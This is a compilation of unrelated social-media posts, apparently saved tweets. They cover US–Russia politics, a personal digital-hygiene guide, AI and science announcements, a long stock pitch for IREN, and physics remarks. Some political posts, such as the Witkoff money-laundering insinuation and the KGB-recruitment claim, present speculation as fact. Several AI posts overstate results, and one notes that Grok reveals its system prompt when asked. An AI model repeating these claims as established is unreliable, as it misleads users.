That’s illegal destruction of federal records—and they need to be held accountable.
Sources:
•National Archives FAQ on Electronic Messaging
•44 U.S. Code § 3101 - Federal Records Act
•18 U.S. Code § 2071 - Concealment, removal, or mutilation of federal records
Additionally, he’s had a bit of a relationship with 🇷🇺 mafia in the past who later went to jail for running a gambling ring.
Anyway, this isn’t new territory for this Witkoff.
Note, he admitted to writing a referral for a 🇷🇺 gangster, but later said he didn’t know the guy.
Well, he either lied on the referral or he lied when he said he didn’t know the guy. Either way, he’s a liar.
Now, based on that his continual repeats of Kremlin talking points, it shows he still lies.
( Oh, get this: the Gambling ring was in a residence inside Trump Tower - However, I’m not sure if Tump bought it before or after the gambling ring got busted. )
Steve Witkoff. NYC billionaire. Real estate empire. No one really knows how it started.
His father made women’s coats.
Both parents were Russian immigrants.
No inheritance. No known early partners. No early investor stories.
And yet… a real estate empire.
He started as a lawyer — just as the 1990s wave of Russian oligarchs began fleeing the motherland with staggering amounts of capital.
Money that needed to disappear. Be cleaned. Parked.
And real estate in the West? Perfect.
At that time:
Manhattan was cheap.
Anti–money laundering regulations were weak.
Networks of lawyers, developers, and “middlemen” were quietly expanding — especially those with Eastern roots.
Witkoff? Right place. Right background. Remarkably low profile.
Trump was there too.
Drowning in casino debt.
Open to “fast solutions.”
We know Russian money landed in Trump Tower.
We know he mingled with Eastern contacts and — reportedly — preferred young women over balance sheets.
Witkoff? We know less. But that only makes it stranger.
How do you go from sewing coats to skyscraper billions in a decade — with no one asking where the money came from?
Why is there no origin story?
No podcast. No Forbes special. No “my hustle” tale?
We’re talking about one of NYC’s biggest real estate names — not some anonymous fund manager from Delaware.
And yet almost nothing is publicly known.
It’s almost like some stories aren’t allowed to be told.
Especially when they start in the East… end in the West… and reek of money without memory.
A sobering message from a history teacher:
I’ve spent years teaching American and international government — from strong democracies like the UK to authoritarian regimes like russia and China.
But lately, the most alarming lesson comes from home.
1/n https://t.co/gCJ9lHODbc
Figma now has an MCP server to talk to Cursor.
This MCP plugin allows Cursor to communicate with Figma to read UI designs and modify them programmatically.
100% free and opensource.
https://t.co/Tnbahnj0sM
I wrote a quick new post on "Digital Hygiene".
Basically there are some no-brainer decisions you can make in your life to dramatically improve the privacy and security of your computing and this post goes over some of them. Blog post link in the reply, but copy pasting below too.
Every now and then I get reminded about the vast fraud apparatus of the internet, re-invigorating my pursuit of basic digital hygiene around privacy/security of day to day computing. The sketchiness starts with major tech companies who are incentivized to build comprehensive profiles of you, to monetize it directly for advertising, or sell it off to professional data broker companies who further enrich, de-anonymize, cross-reference and resell it further. Inevitable and regular data breaches eventually runoff and collect your information into dark web archives, feeding into a whole underground spammer / scammer industry of hacks, phishing, ransomware, credit card fraud, identity theft, etc. This guide is a collection of the most basic digital hygiene tips, starting with the most basic to a bit more niche.
Password manager. Your passwords are your "first factor", i.e. "something you know". Do not be a noob and mint new, unique, hard passwords for every website or service that you sign up with. Combine this with a browser extension to create and Autofill them super fast. For example, I use and like 1Password. This prevents your passwords from 1) being easy to guess or crack, and 2) leaking one single time, and opening doors to many other services. In return, we now have a central location for all your 1st factors (passwords), so we must make sure to secure it thoroughly, which brings us to...
Hardware security key. The most critical services in your life (e.g. Google, or 1Password) must be additionally secured with a "2nd factor", i.e. "something you have". An attacker would have to be in possession of both factors to gain access to these services. The most common 2nd factor implemented by many services is a phone number, the idea being that you get a text message with a pin code to enter in addition to your password. Clearly, this is much better than having no 2nd factor at all, but the use of a phone number is known to be extremely insecure due to the SIM swap attack. Basically, it turns out to be surprisingly easy for an attacker to call your phone company, pretend they are you, and get them to switch your phone number over to a new phone that they control. I know this sounds totally crazy but it is true, and I have many friends who are victims of this attack. Therefore, purchase and set up hardware security keys - the industrial strength protection standard. In particular, I like and use YubiKey. These devices generate and store a private key on the device secure element itself, so the private key is never materialized on a suspiciously general purpose computing device like your laptop. Once you set these up, an attacker will not only need to know your password, but have physical possession of your security key to log in to a service. Your risk of getting pwned has just decreased by about 1000X. Purchase and set up 2-3 keys and store them in different physical locations to prevent lockout should you physically lose one of the keys. The security keys support a few authentication methods. Look for "U2F" in the 2nd factor settings of your service as the strongest protection. E.g. Google and 1Password support it. Fallback on "TOTP" if you have to, and note that your YubiKeys can store TOTP private keys, so you can use the YubiKey Authenticator app to access them easily through NFC by touching your key to the phone to get your pin when logging in. This is significantly better than storing TOTP private keys on other (software) authenticator apps, because again you should not trust general purpose computing devices. It is beyond the scope of this post to go into full detail, but basically I strongly recommend the use of 2-3 YubiKeys to dramatically strengthen your digital security.
Biometrics. Biometrics are the third common authentication factor ("something you are"). E.g. if you're on iOS I recommend setting up FaceID basically everywhere, e.g. to access the 1Password app and such.
Security questions. Dinosaur businesses are obsessed with the idea of security questions like "what is your mother's maidan name?", and force you to set them up from time to time. Clearly, these are in the category of "something you know" so they are basically passwords, but conveniently for scammers, they are easy to research out on the open internet and you should refuse any prompts to participate in this ridiculous "security" exercise. Instead, treat security questions like passwords, generate random answers to random questions, and store them in your 1Password along with your passwords.
Disk encryption. Always ensure that your computers use disk encryption. For example, on Macs this total no-brainer feature is called "File Vault". This feature ensures that if your computer gets stolen, an attacker won't be able to get the hard disk and go to town on all your data.
Internet of Things. More like @internetofshit. Whenever possible, avoid "smart" devices, which are essentially incredibly insecure, internet-connected computers that gather tons of data, get hacked all the time, and that people willingly place into their homes. These things have microphones, and they routinely send data back to the mothership for analytics and to "improve customer experience" lol ok. As an example, in my younger and naive years I once purchased a CO2 monitor from China that demanded to know everything about me and my precise physical location before it would tell me the amount of CO2 in my room. These devices are a huge and very common attack surface on your privacy and security and should be avoided.
Messaging. I recommend Signal instead of text messages because it end-to-end encrypts all your communications. In addition, it does not store metadata like many other apps do (e.g. iMessage, WhatsApp). Turn on disappearing messages (e.g. 90 days default is good). In my experience they are an information vulnerability with no significant upside.
Browser. I recommend Brave browser, which is a privacy-first browser based on Chromium. That means that basically all Chrome extensions work out of the box and the browser feels like Chrome, but without Google having front row seats to your entire digital life.
Search engine. I recommend Brave search, which you can set up as your default in the browser settings. Brave Search is a privacy-first search engine with its own index, unlike e.g. Duck Duck Go which basically a nice skin for Bing, and is forced into weird partnerships with Microsoft that compromise user privacy. As with all services on this list, I pay $3/mo for Brave Premium because I prefer to be the customer, not the product in my digital life. I find that empirically, about 95% of my search engine queries are super simple website lookups, with the search engine basically acting as a tiny DNS. And if you're not finding what you're looking for, fallback to Google by just prepending "!g" to your search query, which will redirect it to Google.
Credit cards. Mint new, unique credit cards per merchant. There is no need to use one credit card on many services. This allows them to "link up" your purchasing across different services, and additionally it opens you up to credit card fraud because the services might leak your credit card number. I like and use privacy dot com to mint new credit cards for every single transaction or merchant. You get a nice interface for all your spending and notifications for each swipe. You can also set limits on each credit card (e.g. $50/month etc.), which dramatically decreases the risk of being charged more than you expect. Additionally, with a privacy dot com card you get to enter totally random information for your name and address when filling out billing information. This is huge, because there is simply no need and totally crazy that random internet merchants should be given your physical address. Which brings me to...
Address. There is no need to give out your physical address to the majority of random services and merchants on the internet. Use a virtual mail service. I currently use Earth Class Mail but tbh I'm a bit embarrassed by that and I'm looking to switch to Virtual Post Mail due to its much strong commitments to privacy, security, and its ownership structure and reputation. In any case, you get an address you can give out, they receive your mail, they scan it and digitize it, they have an app for you to quickly see it, and you can decide what to do with it (e.g. shred, forward, etc.). Not only do you gain security and privacy but also quite a bit of convenience.
Email. I still use gmail just due to sheer convenience, but I've started to partially use Proton Mail as well. And while we're on email, a few more thoughts. Never click on any link inside any email you receive. Email addresses are extremely easy to spoof and you can never be guaranteed that the email you got is a phishing email from a scammer. Instead, I manually navigate to any service of interest and log in from there. In addition, disable image loading by default in your email's settings. If you get an email that requires you to see images, you can click on "show images" to see them and it's not a big deal at all. This is important because many services use embedded images to track you - they hide information inside the image URL you get, so when your email client loads the image, they can see that you opened the email. There's just no need for that. Additionally, confusing images are one way scammers hide information to avoid being filtered by email servers as scam / spam.
VPN. If you wish to hide your IP/location to services, you can do so via VPN indirection. I recommend Mullvad VPN. I keep VPN off by default, but enable it selectively when I'm dealing with services I trust less and want more protection from.
DNS-based blocker. You can block ads by blocking entire domains at the DNS level. I like and use NextDNS, which blocks all kinds of ads and trackers. For more advanced users who like to tinker, pi-hole is the physical alternative.
Network monitor. I like and use The Little Snitch, which I have installed and running on my MacBook. This lets you see which apps are communicating, how much data and when, so you can keep track of what apps on your computer "call home" and how often. Any app that communicates too much is sus, and should potentially be uninstalled if you don't expect the traffic.
I just want to live a secure digital life and establish harmonious relationships with products and services that leak only the necessary information. And I wish to pay for the software I use so that incentives are aligned and so that I am the customer. This is not trivial, but it is possible to approach with some determination and discipline.
Finally, what's not on the list. I mostly still use Gmail + Gsuite because it's just too convenient and pervasive. I also use 𝕏 instead of something exotic (e.g. Mastodon), trading off sovereignty for convenience. I don't use a VoIP burner phone service (e.g. MySudo) but I am interested in it. I don't really mint new/unique email addresses but I want to. The journey continues. Let me know if there are other digital hygiene tips and tricks that should be on this list.
Link to blog post version in the reply, on my brand new Bear ʕ•ᴥ•ʔ blog cute 👇
Those of us, who have been at Euromaidan, know that Ukrainians are fearless, fight for freedom, and never surrender.
Even if the US betrays them, they will fight on.
If you ever met a Ukrainian, you would know that.
Trump etc. have no clue, about these people.
1/9 https://t.co/32VJACZDrj
Russia has kidnapped tens of thousands of Ukrainian children. Putin was indicted for this crime. Yale has a unit searching for them. Musk eliminated the funding.
https://t.co/mt1CoQhG6x
Recommend to me your must-have Mac apps.
Here is what I have:
1. Raycast
2. iTerm2 / Warp
3. ChatGPT + Superwhisper
4. Transmit
5. Hey (Email + Calendar)
What are the apps you can't live without?
holy shit
MIT researchers just turned skin cells directly into neurons without stem cell intermediate, 100-fold efficiency boost, and they actually worked when transplanted into mouse brains
1/ https://t.co/j9qGXH0j9h
@KrakenTree @Rewkang @TheReviken If you are connected to everyone you can see. 14,000 connections on LinkedIn.
26,000 in AI here: https://t.co/fasUz7OWRS
Or personal relationships.
Humanoid robotics is one of the few and obvious 0 to decatrillion opportunities in my life
Similar to Bitcoin in 2013, but with larger TAM
It's at this point, before mainstream hype that you should have maximal exposure. Few have exposure, and those that do are undersized
Trump has dropped or halted more than 1 in 5 investigations and enforcement actions against corporate lawbreakers.
At least 34 of those companies — including Tesla, Amazon, and Wells Fargo — gave over $34M to Trump's inaugural.
It's a new Golden Age for corporate criminals.
Ukrainian soildiers gave their lives for this country in the Middle East and thousands served alongside U.S and NATO partners.
Ukraine is the breadbasket of Europe and a crucial grain and mineral market. But beyond that it’s a country full of people who love and support the USA
You need to understand both General Relativity and Hubble expansion to correctly engineer Global Positioning System, which is a central part of modern civilian and military infrastructure. Here's why. 1/
Chinese crypto mogul Justin Sun bought $75 million of the $TRUMP coin, then had his pending civil fraud case halted by the SEC.
https://t.co/g80nB44ZkL
Reminder: when people demand that Volodymr Zelensky should step down and hold an election, they are literally repeating a Nazi demand from World War II that Britain rejected then.
people outside of europe have no idea how earth shattering this is...
the head of the EU, with turkey, in the UK!!!!!!!
this is truly ground breaking, trump has done something i NEVER thought i would see!!!!! https://t.co/SWV5FEh0aR
Som tidligere skrevet, jeg tror ikke vi bare skal lægge os ned overfor nogen. Specielt ikke Rusland, og heller ikke USA.
Våbenmæssigt er vi i EU + Ukranie alle overlegne.
Det ved vi, og det ved vi.
Har ikke checker validiteten i disse data, så jeg antager de er korrekte.
#dkpol #koldtvandiblodet
Israel Gelfand, one of the greats in the world of mathematics, has produced these two great books on basic algebra and trigonometry, which in my opinion should be in every classrooms around the world.
If you have kids and want to teach them the basics, or if you are an adult, trying to learn/re learn mathematics, these two volumes are a work of pedagogical art.
You'll be surprised of how far these books get, and how clear the explanations are. Not only these are great expositions of the subjects, but also great demonstrations of how to present fundamental topics to the neophyte.
Europe, together with the UK, is already a global power, but with Ukraine, it becomes a superpower.
Our military capability is overwhelming against any threat.
Source of data: IISS 2025 Report (At comments)
Reality shows that there is a lot of misinformation. https://t.co/eUCKnxyy1A
Igor Girkin, colonel of the Russian FSB, confirms in retrospect that the core of the so-called separatists in eastern Ukraine in 2014 were Russian special forces. https://t.co/FAkbtEQo5q
1/ Vladimir Putin is demanding that Ukraine should hold a presidential election in wartime. Nazi Germany demanded the same of Britain in July 1942. This is the story of why the UK delayed holding elections throughout World War II. ⬇️ https://t.co/qsGsxVOB9C
Jeg tror, at den enkeltting, der irriterer mig mest ved al snakken om dansk slaveri, er denne:
Danmark var ikke et demokrati i slaveriperioden. Der er ikke én væsentlig beslutning vedrørende slaveri, som er truffet af beslutningstagere, nogen havde stemt på.
Tværtimod. Alle og enhver, der ikke var beslutningstager, blev undertrykt på det groveste af disse. Også de etniske danskere. Ikke mindst landbefolkningen, der levede i en form for trældom.
Det er totalt åndssvagt, at etniske danskere, der ikke er efterkommere af de ikke-demokratiske beslutningstagere skal angre og reflektere over slaveri.
De havde ikke valgt beslutningstagerne. De blev selv undertrykt af beslutningstagerne. De har nul og ingenting at gøre med slaveri.
Grok is being censored by Musk to block mentions of Musk and Trump spreading misinformation. It will reveal its own system prompt, if you simply ask it.
No different than deepseek.
Link: https://t.co/0gM31r4pa5
discovered by @OverfitForTruth https://t.co/PAUcafVX1C
🔴A former senior KGB spy chief wrote today that Trump was recruited as a spy by Russians 38 years ago by his department.
Not the first time a former senior KGB officer publicly claimed that they were aware of Trump’s recruitment to the KGB.
for @BylineTimes w/@NafeezAhmed
For the record, the GOP Senate just confirmed FBI Director Kash Patel even though he'll get $1 million in Chinese megacorp SHEIN stock this year—*while* he's FBI Director—for 8 months of "consultant" work he never explained, hid it from Judiciary Cmte, and refuses to divest
Introducing Helix, our newest AI that thinks like a human
To bring robots into homes, we need a step change in capabilities
Helix can generalize to any household item 🧵
https://t.co/sPzPV4B50J
HOLY SHIT IT'S HAPPENING
AI can now write genomes from scratch.
Arc Institute an NVIDIA just published Evo-2, the largest AI model for biology, trained on 9.3 trillion DNA base pairs spanning the entire tree of life.
it doesn’t just analyze genomes. it creates them
1/ https://t.co/giId06QduL
Yuri Bezmenov (former KGB informant who defected to the West):
“The main emphasis of the KGB is not in the area of intelligence at all.
Only about 15% of time, money, and manpower is spent on espionage as such.
The other 85% is a slow process which we call either ideological subversion, active measures, or psychological warfare.
What it basically means is: to change the perception of reality of every American to such an extent that despite the abundance of information, no one is able to come to sensible conclusions in the interest of defending themselves, their families, their community, and their country.”
I can't believe I'm actually saying this, but I agree 100% with Erdogan. Ukraine deserves to have its territory returned to the full extent -- 1991 borders.
GitHub repo: https://t.co/j0XvJN2qjk
____
Interested in ML/AI Engineering? Sign up for our newsletter for in-depth lessons and get a FREE eBook with 150+ core DS/ML lessons: https://t.co/aFnbSSYcsn
🇺🇸🤔 US defense stocks are falling.
Over the month:
• Lockheed Martin: -16.41%
• Northrop Grumman: -13%
• General Dynamics: -10.93%
• Raytheon Technologies: -2.66%
European defense stocks are rising:
🇩🇪 Rheinmetall: +36.4%
🇫🇷 Thales: +22.66%
🇬🇧 BAE Systems: +10.17%
🇪🇺 Airbus: +5.85%
❗️The fall in US defense stocks may be related to news that the US Department of Defense is preparing for cuts ahead of the audit of DOGE, led by Musk.
‼️ In contrast, European defense stocks are rising as investors have positive expectations for increased European defense spending.
While the army still has a great deal of catching up to do, it still represent one of Europe's largest and, surprisingly perhaps, right now one of its best funded ones, with some gargantuan acquisition programs silently started and (some) finalized in the recent years. https://t.co/hREVWwJ4mC
People counting at metro gates using @ultralytics YOLO11 + Region counting 🔥
Instead of tracking everyone, I only counted and highlighted people leaving the zones.
Try the code ➡️ https://t.co/4D9b94b0Xo
#computervision #metrostation #people #objectdetection https://t.co/pTtWfTAYLK
Cigar smokers are much more likely to be less neurotic and more open than cigarette and non-smokers, slightly more extraverted too.
I don't think we'll be prescribing cigars to nervous kids, but interesting nonetheless. https://t.co/MbVEjaM59g
"Europe as a whole has clearly overtaken the US in terms of Ukraine aid. In total, Europe has allocated EUR 70 billion in financial and humanitarian aid as well as EUR 62 billion in military aid. This compares to EUR 64 billion in military aid from the US as well as EUR 50 billion in financial and humanitarian allocations." https://t.co/wAhiksRn32
after ten years of research, they are here
scientists created mice with human-like telomeres that experience real cellular aging.
this might be the biggest breakthrough in longevity science in decades
1/ https://t.co/hp8XdabRWB
Even as a model, we don't know whether general relativity is deterministic or not (this is the strong cosmic censorship hypothesis).
And even Newtonian mechanics permits non-determinism (e.g. Norton's dome) unless you impose strong restrictions like Lipschitz continuity etc.
OpenAI just dropped a paper that reveals the blueprint for creating the best AI coder in the world.
But here’s the kicker: this strategy isn’t just for coding—it’s the clearest path to AGI and beyond.
Let’s break it down 🧵👇 https://t.co/NJwbq4kxRs
No one has ever established whether the universe is fundamentally deterministic or probabilistic. This is one of those strange, counterintuitive facts that change the way you view reality (not just physics) once you comprehend it. It’s similar to how it’s counterintuitive that your feeling of "weight" is actually never due to pure gravity; instead, it’s due to electromagnetism.
Why? While the equations of classical mechanics are deterministic (meaning that given initial conditions, the future evolves uniquely) this determinism isn’t directly testable as an empirical proposition about reality itself. You can’t conclusively rule out hidden non-deterministic factors in actual physical systems through experiment alone.
Any observed agreement with deterministic equations might also be explained by suitable probabilistic theories that mimic determinism within experimental error. Hence, the claim is that "determinism" in classical mechanics is a metaphysical add-on, and NOT a directly falsifiable statement.
Strictly speaking, you can test whether classical mechanics’ predictions match observations, but testing whether "the universe truly is deterministic" goes beyond just verifying the equations’ predictive success.
Similarly, for so-called random systems, any observed randomness could still be deterministic in some hidden way. If measurements match a probabilistic model, that doesn’t exclude an undiscovered deterministic theory that mimics those probabilities.
Stating whether something is deterministic or probabilistic is mostly an unfalsifiable statement at this point. You disconfirm models. Not metaphysics.
“A Renaissance Man who fell by chance into the modern world: few would wield so effectively such broad knowledge and fewer still would reach such pinnacles of achievement. With his departure the bright light of intellect penetrates a bit less into the surrounding darkness.” https://t.co/8qD2Tv5TtU
"This is really good software. This small team at Apple appears to be almost single-handedly giving NVIDIA’s CUDA a run for their money!" Kudos to @awnihannun and the whole MLX team from @simonw /cc @tim_cook
"A calculator app? Anyone could make that."
Not true.
A calculator should show you the result of the mathematical expression you entered. That's much, much harder than it sounds.
What I'm about to tell you is the greatest calculator app development story ever told. https://t.co/JSuxKVOa0L
Thanks to Harvard University, you can now virtually enter the Great Pyramid of Giza in 3D and 360º
Tour: https://t.co/pvYF06u7bc
https://t.co/l3eVXl0hGX
It’s wild that the American VP is criticizing European countries for stifling freedom of speech.
In the Press Freedom Index, the US ranks 55th, while Sweden is 3rd and Germany 10th.
Russia, meanwhile, sits at 162. https://t.co/yjaMhO8hNS
Microsoft just released an impressive tool
OmniParser V2 can turn any LLM into an agent capable of using a computer 🔥
You can enable GPT-4o, DeepSeek R1, Sonnet 3.5, Qwen... to understand what's on your screen and take actions.
100% free & open source https://t.co/gIy1WTZnAW
HOLY SHIT
thought-to-action is almost here
meta just published two papers showing they can decode thoughts into text with 80% accuracy, in real time, using non-invasive brain-computer interfaces.
pardon my french, but WHAT THE FUCK? https://t.co/OYil1eJvih
As Trump is again bringing up the “tens of millions” of Russians who died in WWII, it is worth underlining that he likely means Soviet not Russian casualties. In reality, Ukraine lost far more people than Russia proportionally, while only a small part of Russia was ever occupied https://t.co/572KhpBGYI
Here is the federal government org chart. Observe what the president controls vs. what the judiciary controls. These are executive agencies the actions of which only the president is held responsible. https://t.co/ShQHMdkMMn
Boom!
A new open source FREE speech AI, Zonos, a highly expressive TTS model with high fidelity voice cloning.
Both transformer and SSM-hybrid models are under an Apache 2.0 license.
It beats most TTS providers in quality and expressiveness.
I am using it now: https://t.co/6wQ8CNX13S
Everyone says Europe can't compete with America in tech.
But 48 hours ago, Mistral's 'Le Chat' just proved them wrong:
• 13x faster than ChatGPT
• 100% open-source
• Completely free (vs $20/month)
The European AI breakthrough Silicon Valley didn't see coming 🧵: https://t.co/XFPzDeSRP9
Fantastic new details from @briankrebs about DOGE worker Edward Coristine and his past connections with the cybercrime group The Com. He also expands on what happened after Coristine got fired from Path Networks in 2022 for allegedly leaking company docs. https://t.co/oyK8qy8RxT
🚨🚨BIG SCOOP: Musk’s DOGE Teen Was Fired By Cybersecurity Firm for Leaking Company Secrets
Edward Coristine posted online that he had retained access to the firm’s servers. Now he has access to sensitive government information.
https://t.co/I4Fimayk6V
This is the North Atlantic Ocean.
The ocean that both, the US and Europe, need to be free of hostile submarines. Chinese and russian submarines can only enter it by six routes. Three of which are impassable for them.
But the easiest & shortest open route is past Greenland.
1/25 https://t.co/NDxXr8iQy5
Godel's incompleteness theorem (all consistent formal systems aren't "complete" (provided it models arithmetic)) and Turing's theorem (you can't always determine if a program halts) are what you've likely heard of already. There are various other no-go results in philosophy / math, like Cantor's theorem, Rice's, Lob's, Tarski's undefinabilty as well… What most people don't know about is that there's just *one* theorem that underlies all of these: Lawvere's fixed point theorem. 1/13
📽️ Just created an agent that:
1⃣ Searches @YouTube for recent popular videos that match a specified topic
2⃣Summarizes the videos
3⃣Drafts (or sends!) an email to me with the research summary.
<2min to create using @ComposioHQ, Gemini 2.0, @YouTube, @GMail, and @llama_index. https://t.co/z6ZC83iwWJ
I think I found a Picasso at a garage sale.
But not the kind you’d think…
Lately I’ve been thinking about how to capture some of the upside of this AI boom in my stock portfolio.
But it’s hard. I’m a value investor.
The idea of paying 30x earnings for NVIDIA almost physically pains me.
Here are a few of the trade ideas I’ve sketched out:
Self-driving vehicles: self-driving is already here, it's just not evenly distributed. I use it 90% of the time in my Tesla and it's phenomenal. Between their robotaxis are coming later this year and Waymo rolling out to more cities, it seems like an obvious assumption that in the next ten years most cars will be self-driving. Trades I've considered: Long Tesla for robotaxi and Optimus upside, short Uber/Lyft as their networks become obsolete. Risk: rollout could take longer than anticipated due to huge capital costs and regulation, Uber/Lyft could pivot.
Compute and inference: The obvious plays - buy NVIDIA, ASML, and TSMC. Great companies but expensive multiples and premiums. Years of excess demand. Risk: geopolitical conflict in Taiwan, moat erosion as China and other competitors innovate.
Frontier models: You can buy secondary in Anthropic, https://t.co/4g9pvs09Zy or OpenAI, but the valuations are huge, positions are difficult to come by, and you're also betting on a winner (this is notoriously hard to predict). Risk: the value doesn’t end up accruing to any of them/models become commoditized.
Google: Another play is simply to buy Google, which owns DeepMind/Gemini and has a massive data moat. Risk: the innovator's dilemma, bungled AI rollout, ads/search business gets decimated by ChatGPT.
SoftBank: The final idea I've considered is buying Softbank. It holds some OpenAI and other AI businesses, is investing in data centers via Stargate, owns 90% of ARM (whose chip designs are a small part of many critical AI components and GPUs), and is trading for roughly ⅓ of NAV. Risk: volatility/debt, as Masayoshi Son is known for wild bets.
While these are all interesting potential options, I recently found an investment that offers a particularly interesting risk/reward...
Last month, I got a call from my friend @kashramki, a value investor based in Toronto.
We had gotten to know one another over a decade ago, when he worked at BCI, a large pension fund in my hometown. Since then, he had gone on to lead dozens of multi-hundred-million and even billion-dollar investments into infrastructure deals (mostly pipelines, datacenters, and renewable energy).
He told me he was doing something radical:
"I'm selling my entire personal portfolio and putting it all into one stock."
When a smart investor says that, I lean in.
I was surprised. Kash is a highly conservative and thoughtful guy and I'd never seen him be so "all in" on something.
Usually I was the one telling him about my latest hare-brained investment while he crossed his arms and scratched his head, telling me about the litany of ways it could go wrong.
He went on to tell me about a company called IREN.
Public market investors have boxes in their minds. When they look at a company, they sort it into a box labeled "Good," for later research, or "Bad," which they discard immediately.
Like expert poker players dispassionately folding hands, they have trained themselves to instantly dismiss any stock that comes with certain toxic labels - red flags that trigger an immediate 'pass'.
Words like:
- IPO
- Cannabis
- Biotech
- and the dreaded Bitcoin
IREN is one of these stocks.
And when he explained it, I realized that Kash had found the public market equivalent of a Picasso at a garage sale.
Here’s the backstory he gave me:
In 2018, @danroberts0101 and his brother Will, both infrastructure bankers from Australia, started IREN ($IREN). Their thesis was simple: demand for energy and compute would grow significantly in the coming decades.
They acquired a series of large, high power datacenter sites located near renewable energy plants.
Their first few were in British Columbia, and they went on to acquire two massive sites in Texas, which are coming online in the next year or so.
To date, they've been using the BC-based datacenters to mine Bitcoin. But they are far from Bitcoin bulls.
Every Bitcoin they mine is immediately sold for a profit. They hold near zero Bitcoin long term and are simply doing arbitrage, making hundreds of millions of dollars from Bitcoin sales each year.
The stock is currently trading at a market cap of around $2.3 billion with no debt. That is an illustrative adjusted 2024 run-rate EBITDA multiple of ~4.6x based on disclosures from the company (from page 16 of management's November 2024 presentation: illustrative 2024 EBITDA at ~$435m at $90k/Bitcoin).
As of today, Bitcoin is at $99,480, so we can assume that number is a little higher.
Their growth plans for this year, if executed as planned, could result in an even lower forward multiple. In the range of ~2.5-4x.
Ok, so it's a potentially cheap stock (CC: @dirtcheapstocks). But how does this relate to AI?
Two key things fuel AI: energy and compute.
Both are in limited supply. We've all seen nuclear, semiconductor, and datacenter stocks go parabolic over the last year. That is because AI will require an almost unimaginable amount of energy and computation.
Training AI models requires huge clusters of chips, typically Nvidia GPUs, and generally requires them to be in one location.
These huge datacenters are already in thin supply and take time to build and permit. They are heavily regulated.
IREN's new Texas facilities are significantly larger than industry averages in both land size and power capacity. For context, their Childress facility alone (750MW) is nearly four times larger than what is considered a normal modern data center (200MW), and their Sweetwater Texas site is almost double that at 1.4GW.
I believe that IREN trades at a low multiple for two reasons:
1. They are investing massive amounts of capex in building out their two huge Texas datacenters (coming online in 2025/26) and those earnings haven't hit the P&L yet.
2. They are dismissed and miscategorized as a Bitcoin miner. Others are starting to wake up to this (see: Softbank/Cipher).
If we simply value IREN as a traditional datacenter business and compare it to similar companies, we'd expect this business to generate datacenter free cash flow of ~$2 billion a year from their Sweetwater, TX 1.4GW site that is primed for AI compute starting April 2026.
That is ~$2 billion per year from this one additional site.
Added to its existing earnings, that's more than what the entire company is worth today.
If we apply industry multiples to their long-term projected earnings (once the Texas sites come online), the math becomes almost laughably compelling.
Using typical free cash flow multiples in the datacenter space, that gets you an enterprise value of ~$20-40 billion. 10 to 20 times where the company is currently trading. And that’s without valuing their Bitcoin business, which could be worth several billion on its own.
And yes, I just heard you yell “BUT WHAT ABOUT DEEPSEEK???” through a mouthful of potato chips.
Many point to DeepSeek's claimed $6M model training costs as evidence that compute demands might be cooling.
While they've achieved big efficiency gains, this isn't the paradigm shift some claim it to be. As Anthropic's CEO Dario Amodei explained in a recent blog post, we've historically seen a ~4x per year decrease in AI training costs.
DeepSeek's improvements are roughly on this expected curve, not dramatically below it.
But more importantly, these efficiency gains don't reduce total compute demand—they get immediately reinvested into training even more sophisticated models. The path to AGI and ASI will still require massive amounts of compute, both for training increasingly complex models and handling the explosion in inference demands as AI applications proliferate.
There’s a reason that Microsoft, Meta, and Google recently (post DeepSeek) announced they would collectively spend $220 BILLION on capital expenditures this year. The large majority of which will be spent on AI infrastructure.
Back to IREN…
So, we have a well-run company with no debt, ample cash flow generation, in an industry with huge excess demand, and a dirt cheap valuation.
This is my kind of garage sale Picasso!
As my friend @mohnishpabrai describes his favorite type of investment:
“Heads I win, tails I don’t lose much."
This feels like one of those.
Even if I’m completely wrong, and AI compute isn’t the hot commodity I’m anticipating, the underlying datacenters should still be valuable. Even before AI came onto the scene, the US datacenter market was expected to grow at 9-10% CAGR through 2030.
But, if AI does play out in a big way, those same datacenters could become Crown Jewels that could spit off huge amounts of cash from training and inference compute. Toll roads en route to the AI revolution.
So, all this is to say, I bought the stock.
A relatively small position for me. A few % of my portfolio mixed with a few other bets on frontier models, Google, and semiconductors.
Of course, like all investments, this has risk.
Here are a few of the best arguments for why IREN doesn’t pan out as I’m anticipating:
• They could dilute shareholders excessively.
• They could fail to capture the AI datacenter opportunities by favouring their past strategy of bitcoin mining, all in the hopes that bitcoin goes to the moon. With an 18-month payback period on their bitcoin hardware, the case for growing their bitcoin operations is very compelling, but it is only as sound a strategy as the price of bitcoin itself. And who knows what it will do tomorrow?
• Will they find a highly creditworthy counterparty for their mega-site in Texas? They could fail to demonstrate to the hyperscaler community that they have sufficient construction or operating experience to build and manage a large AI datacenter, especially in the middle-of-nowhere-Texas, where highly skilled datacenter operators are scarce.
• Bitcoin prices could drop to the point where mining is no longer profitable (around $30,000)—although I would argue the datacenters themselves are still valuable in this scenario. If you wanted to get clever, you could buy puts on a Bitcoin ETF to cover this scenario.
But overall, I think it offers a good risk/reward. I believe the underlying datacenter assets are valuable even if AI plays out very differently than expected.
I welcome any thoughts and critiques :-)
Is this a Picasso or a cheap reproduction? Roast me!
Important Disclaimers:
IREN stock is volatile. It swings around a lot, so if you buy, buckle up and be ready to hold for a few years. The value here depends on management delivering on their planned expansion.
I'm just a guy on the internet sharing thoughts. Not a financial advisor, and this definitely isn't investment advice. Yes, I have met with IREN's IR team, but everything I've shared comes from public sources - SEC filings, presentations, and public statements. Reality might look very different from the scenarios discussed.
Datacenters and crypto are wild markets with plenty that could go wrong - competitive pressures, regulations, market swings, geopolitics, you name it.
I own IREN shares and some of the other stuff mentioned here. Might trade them anytime. Could make me biased.
Do your own research, talk to actual financial advisors, and don't bet the farm. Past performance doesn't predict the future.
Wow!! You can now scrape ANY website by just writing a prompt.
Using @firecrawl_dev's /extract endpoint, just describe what you want to extract in a prompt. This produces LLM-ready structured output.
No more hard coding! https://t.co/y1OgUmd7AN
Peter Hayman's ''A Lean and Mean Introduction to Modern General Relativity'' , which is available on arxiv, is the best primer on GR that I have encountered so far.
🔗👇👇 Check it out, I think you'll agree with me. https://t.co/bQf2gG8iGm
You can now reproduce DeepSeek-R1's reasoning on your own local device!
Experience the "Aha" moment with just 7GB VRAM.
Unsloth reduces GRPO training memory use by 80%.
15GB VRAM can transform Llama-3.1 (8B) & Phi-4 (14B) into reasoning models.
Blog: https://t.co/vqmbfyh1Bu
"General relativity doesn't admit black hole solutions. It only admits *wormhole* solutions."
